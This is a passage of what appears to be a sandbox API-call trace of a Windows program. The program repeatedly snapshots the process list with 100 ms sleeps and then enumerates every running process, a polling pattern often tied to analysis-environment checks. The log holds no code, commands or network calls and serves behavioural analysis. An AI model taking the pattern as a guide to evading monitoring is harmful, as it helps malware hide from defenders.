lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.666] Sleep (dwMilliseconds=0x64) [0143.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xbac [0143.800] Process32First (in: hSnapshot=0xbac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.048] Sleep (dwMilliseconds=0x64) [0144.165] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb6c [0144.183] Process32First (in: hSnapshot=0xb6c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.290] Sleep (dwMilliseconds=0x64) [0144.391] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x520 [0144.411] Process32First (in: hSnapshot=0x520, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.505] Sleep (dwMilliseconds=0x64) [0144.605] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14bc [0144.617] Process32First (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.753] Sleep (dwMilliseconds=0x64) [0144.854] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb80 [0144.865] Process32First (in: hSnapshot=0xb80, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.930] Sleep (dwMilliseconds=0x64) [0145.051] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x970 [0145.068] Process32First (in: hSnapshot=0x970, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.162] Sleep (dwMilliseconds=0x64) [0145.262] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14b0 [0145.274] Process32First (in: hSnapshot=0x14b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.407] Sleep (dwMilliseconds=0x64) [0145.511] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1194 [0145.523] Process32First (in: hSnapshot=0x1194, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.619] Sleep (dwMilliseconds=0x64) [0145.719] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1194 [0145.746] Process32First (in: hSnapshot=0x1194, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.893] Sleep (dwMilliseconds=0x64) [0146.062] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x147c [0146.085] Process32First (in: hSnapshot=0x147c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.347] Sleep (dwMilliseconds=0x64) [0146.448] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12e0 [0146.464] Process32First (in: hSnapshot=0x12e0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.543] Sleep (dwMilliseconds=0x64) [0146.703] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb78 [0146.742] Process32First (in: hSnapshot=0xb78, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.853] Sleep (dwMilliseconds=0x64) [0146.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb78 [0147.005] Process32First (in: hSnapshot=0xb78, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.114] Sleep (dwMilliseconds=0x64) [0147.214] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb78 [0147.233] Process32First (in: hSnapshot=0xb78, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.352] Sleep (dwMilliseconds=0x64) [0147.454] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb78 [0147.469] Process32First (in: hSnapshot=0xb78, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.605] Sleep (dwMilliseconds=0x64) [0147.731] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0147.757] Process32First (in: hSnapshot=0x330, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.862] Sleep (dwMilliseconds=0x64) [0148.007] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14bc [0148.028] Process32First (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.122] Sleep (dwMilliseconds=0x64) [0148.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0148.234] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.344] Sleep (dwMilliseconds=0x64) [0148.477] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x147c [0148.491] Process32First (in: hSnapshot=0x147c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.690] Sleep (dwMilliseconds=0x64) [0148.791] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x147c [0148.807] Process32First (in: hSnapshot=0x147c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.892] Sleep (dwMilliseconds=0x64) [0149.053] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0149.064] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.177] Sleep (dwMilliseconds=0x64) [0149.279] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0149.299] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.386] Sleep (dwMilliseconds=0x64) [0149.536] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x334 [0149.551] Process32First (in: hSnapshot=0x334, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.657] Sleep (dwMilliseconds=0x64) [0149.757] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0149.847] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.005] Sleep (dwMilliseconds=0x64) [0150.106] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0150.130] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.238] Sleep (dwMilliseconds=0x64) [0150.403] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb7c [0150.446] Process32First (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.448] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0150.451] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0150.453] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.456] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0150.458] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.460] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0150.464] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0150.466] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0150.470] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.472] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.474] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0150.478] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.480] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.484] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.487] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.490] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.492] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.494] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.497] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0150.499] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0150.556] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0150.558] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.560] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0150.562] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0150.563] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0150.565] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0150.567] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0150.569] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0150.571] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0150.572] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.574] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0150.576] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0150.578] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0150.579] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0150.581] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0150.583] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0150.584] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0150.586] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0150.588] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0150.589] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0150.591] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0150.593] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0150.594] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0150.596] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0150.598] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0150.599] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 